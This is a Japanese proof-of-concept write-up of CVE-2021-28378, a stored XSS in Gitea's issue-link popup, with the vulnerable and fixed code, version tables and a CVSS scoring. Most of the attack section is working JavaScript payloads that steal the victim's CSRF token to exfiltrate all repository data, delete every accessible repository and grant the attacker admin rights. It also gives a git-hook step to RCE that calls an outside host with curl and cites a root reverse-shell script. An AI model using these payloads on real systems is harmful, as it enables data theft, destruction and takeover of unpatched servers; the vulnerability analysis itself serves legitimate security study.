
CVE-2021-28378の詳細な概念実証と分析。Giteaにおける格納型XSS脆弱性で、gitフックを介した任意のコード注入、権限昇格、およびリモートコード実行を可能にします。
このCVEの詳細はこちら。
このCVEは、サーバーから取得したコンテンツに対して、クライアント側で文字列のエスケープ処理が行われていないことをターゲットにしています。 これにより、攻撃者はIssueやPull Requestにコメントを作成するだけで、簡単に任意のコードを注入できるようになります。 これは2020年1月末のコミット7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5で導入されましたが、スカッシュが行われたため、類似のバグを調査するために誰がこれを導入したのか正確にはわかりません。
まず、この脆弱性がどこから来ているのかを理解しましょう。そのために、このCVEを修正するコミットを見てみましょう。
修正前:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
label.name、issue.repository.full_name、issue.title、bodyに対してHTMLエスケープが行われていないことがわかります。これらはユーザーが操作可能な文字列であり、そのため任意のコードを注入できます。
issue.repository.full_nameは、このCVEではバイパスできない多くのルール([\w._-]+)に従わなければならないため、実際にはコード注入に利用できないことに注意してください。
これこそがPRがhtmlEscapeでキャストすることによって修正している点です。
修正後:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
ファイルweb_src/js/features/contextpopup.jsを簡単に見て、CVEをどのようにトリガーするか把握しましょう。
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
ここでわかるのは、クラスref-issueを持つノードごとに、脆弱性のあるポップアップが追加されるということです。
次に、どこでref-issueがユーザーに送られるのかを見つける必要があります。grepで調べてみましょう(テストファイルなどは除き、興味深い結果のみを保持します)。
以下のコミット番号は、このCVEの影響を受ける公式docker-compose.ymlファイルのデフォルトバージョンである1.12.4タグに対応しています。
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
これで、クラスref-issueを持つ静的なコンテンツは存在せず、動的に生成されることがわかりました。
最後の行は単なるサニタイザーのポリシールールなので興味深くありません。他の行は興味深いものです。その理由を見ていきます。
modules/markup/html.goの中を見てみましょう。
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
getIssueFullPatternが何をするのかも理解する必要があります。
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
ここで行われている処理をまとめてみましょう。
fullIssuePatternProcessorでは、まずctx.metasがnilでないことを確認します(スタックトレースの上位の関数/メソッドで構築されるため、nilではないと仮定します)。
次に、ノードデータがhttp://mygitea.com/gituser/myrepo/issues/1のようなパスにマッチするかチェックします。マッチした場合、それをリンクに置き換えます。
リンクが同じユーザーとリポジトリに関するものであれば、#<issue_id>のパターンに置き換え、そうでなければ<user>/<repo>#<issue_id>に置き換えます。
どちらの場合も、ポップアップを生成するためにref-issueクラスが追加されます。
他のgrep結果も同様の処理を行います。
コンテキストがわかりました。これはhttp://mygitea.com/gituser/myrepo/issues/1のようなリンクを短いリンクに置き換える処理です。この処理がどこで行われるか推測できます。それはIssueやPRで、ラベルを追加したりコメントを投稿したりできる場所です。
ここでは、リポジトリへの書き込み権限を持っていると仮定します。
リポジトリに移動し、任意のコードを含む名前(例:<script>alert('label.name')</script>)で新しいラベルを作成します。
リポジトリのIssuesに移動し、タイトルと本文に任意のコードを含む新しいIssueを作成し、先ほどのラベルを追加します。
任意のリポジトリに新しいIssueを作成し、本文にhttp://mygitea.com/gituser/myrepo/issues/1のような、先ほど注入したIssueへのリンクを追加します。
このリンクは先ほど見たように短いリンクに置き換えられます。誰かがそのリンクにマウスを合わせると、label.nameを埋め込んだポップアップが表示され、任意のコードが実行されます。
CVE-2021-28378は任意のコード注入が可能であることが証明されました。 攻撃者が何ができるか想像してみましょう。
GiteaにはCSRFトークンがあり、フォームやAPIを送信する際の身元を保証し、Giteaのiframeを埋め込んでアクセスを盗むようなセキュリティ問題を防いでいます。
CSRFトークンはクッキー(_csrf)に保存されるだけでなく、ユーザーが訪れるほぼすべてのWebページ(/api/v1/swaggerなどの一部を除く)のフィールドにも保存されています...したがって、Issue/PRのWebページにもあります。
それを含む最も興味深いフィールドは、HTMLページの共通ヘッダー部分にあり、常に同じXPath (/html/head/meta[9]) にあります。
このデータを使えば、ペイロードの影響を受けるユーザーから、JSでCSRFトークンを取得することで認証されたアクションを送信できます。そのコードは以下の通りです:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。
それでは、創造力を発揮してさまざまな攻撃を構築しましょう。 ただし、いくつか制限があります:
label.nameとissue.titleは短くなければならないため、多くのペイロードは収まりません。ただし、src属性を持つscriptを注入して任意のスクリプトを参照させることは可能です。bodyには長さ制限はありませんが、ポップアップのプレビューではデータの表示が制限されます。ペイロードをトリガーしたい場合は、先頭に配置する必要があります。ただし、前述のようにscriptとsrc属性を使用することもできます。構築できる例をいくつか見てみましょう。
攻撃者が自分がアクセスできるすべてのリポジトリを取得したいシナリオを想像してください。これは攻撃が機密性をすべて破壊できることを証明します。 この攻撃は3つのステップで達成されます:
これを行うためのJSコードを書いてみましょう:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
このペイロードを独自のファイルに保存し、リポジトリにアップロードして、以下のようにIssueの本文に注入します:<script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>。
これで攻撃者は、この注入されたIssueを参照するIssue/PRにコメントすることができ、誰かがそのリンクにマウスを合わせると、すべてのリポジトリデータが攻撃者に盗まれます!
攻撃者が自分がアクセスできるすべてのリポジトリを削除したいシナリオを想像してください。これは攻撃が完全性を破壊できることを証明します。 この攻撃は3つのステップで達成されます:
これを行うためのJSコードを書いてみましょう:
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
このペイロードを独自のファイルに保存し、リポジトリにアップロードして、以下のようにIssueの本文に注入します:<script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>。
これで攻撃者は、この注入されたIssueを参照するIssue/PRにコメントすることができ、誰かがその参照にマウスを合わせると、アクセス可能なすべてのリポジトリが削除されます!
攻撃者が管理者権限を取得したいシナリオを想像してください。これは権限昇格が可能であることを証明します。 この攻撃は2つのステップで達成されます:
これを行うためのJSコードを書いてみましょう:
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
login_typeの値は、Giteaのバージョンとインスタンスのログイン方式によって変わることがあります。
このペイロードを独自のファイルに保存し、リポジトリにアップロードして、以下のようにIssueの本文に注入します:<script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>。
これで攻撃者は、この注入されたIssueを参照するIssue/PRにコメントすることができ、十分な権限を持つ誰かがその参照にマウスを合わせると、攻撃者に管理者権限が付与されます!また、Issueを管理者に割り当てたり、管理者が監視しているリポジトリにIssueを作成して(通知を受け取るようにして)可能性を高めることもできます。
Giteaで最も「面白い」部分は、gitフックを実装することでセキュリティが考慮されていなかったことです。これはおそらく実装できる最悪のアイデアの1つです。
管理者権限を取得したら、gitフックを管理する権限を自分に付与できます(これは前述のペイロードで達成されます)。Gitea Git Hooks Remote Code Execution Metasploitモジュールと同様の手順を踏みます:
post-receive gitフックに追加します;このRCEが有効であることを確認するために、有効なidを指定して以下を設定します。
#!/bin/bash
curl https://requestbin.net/r/<id>
RequestBinの検査パネルで、post-receive gitフックをトリガーするファイルを送信した後、User-Agent: curl/<version>でリクエストが実行されたことが確認でき、有効なRCEであることが証明されます。
この機能は、管理者によってトリガーされるすべてのXSSに対して、ほとんどのWebページに埋め込まれている_csrf値がある限り、Gitea上でRCEを取得できる可能性があることを意味します。
CVEの影響を受けるバージョンに応じて更新を行ってください(公式レポートを参照)。執筆時点では、1.12.0から1.13.4(ただし1.13.4は除く)です。
影響を受けるバージョンとそのテストステータスの一覧です。1.13.Xバージョンでは、app.iniファイルの[security]セクションにDISABLE_GIT_HOOKS = falseを追加する必要があることに注意してください。このファイルはdata/gitea/conf/app.iniにあり、データフォルダの場所によって異なります(DockerHubに記載されているdocker-compose.ymlファイルの場合は、同じフォルダにあります)。
✅: 動作確認済み ; ❓: テストが必要 ; ❌: 動作しないことを確認
このシートは読者がスコア計算に役立てるためのものであり、スコアリングの議論のみを目的とし、順序として受け取るべきではありません。
ベクトル文字列: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| メトリクスグループ名 | スコア | 説明 |
|---|---|---|
| Base Score | 9.0 | 重大 |
| Temporal Score | 8.6 | 高 |
| バージョン | XSS | RCE |
|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
| メトリクス | 値 | 説明 |
|---|
| AV | ネットワーク | HTTPを使用して通信します。 |
| AC | 低 | Issue(デフォルトではGiteaで非常に簡単に作成可能。全員が有効)またはPull Requestが必要なだけです。 |
| PR | 低 | ほとんどのコンテキストでは、Issueを作成するためにアカウントが必要です(デフォルトでは新しいアカウントを登録できます)。すべてのアカウントは読み取り専用リポジトリでもIssueを作成できます。ただし、Issueを無効に設定されているリポジトリ(デフォルトでは有効で、めったに変更されない)は例外です。 |
| UI | 必須 | ユーザーまたは管理者が感染したリンクにマウスを合わせてペイロードをトリガーする必要があります。 |
| S | 変更あり | RCEを使用すると、ホストマシンおよび同じ場所にあるサービスにアクセスできます。 |
| C | 高 | 管理者権限を取得すると、プライベートに設定されていてもすべてを管理できます。データベースの認証情報を盗み、RCEを使用して接続しデータを抽出できます。RCEを使用すると、Giteaによる認証/認可チェックが行われないファイルシステムを直接読み取ることができます。 |
| I | 高 | 管理者権限を取得すると、権限、可視性を変更したり、リポジトリコードを変更したり、リポジトリを削除したりできます。RCEを使用すると、すべてに自由にアクセスでき、ユーザーやファイルなどの完全性に影響を与えます。 |
| A | 高 | RCEを使用すると、find / -deleteでファイルシステム全体を削除でき、可用性の完全な損失を引き起こします。 |
| E | 高 | Pythonスクリプトexploit.pyを使用すると、ゼロアカウントからルートリバースシェルまで脆弱性を簡単に悪用できます。 |
| RL | 公式修正 | コミット<1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>で修正され、masterにマージされ、Gitea 1.13.4に含まれました。 |
| RC | 確認済み | このレポートは、XSSの原因分析からRCEの例とスクリプトまで、複数のエクスプロイトを確認し示しています。 |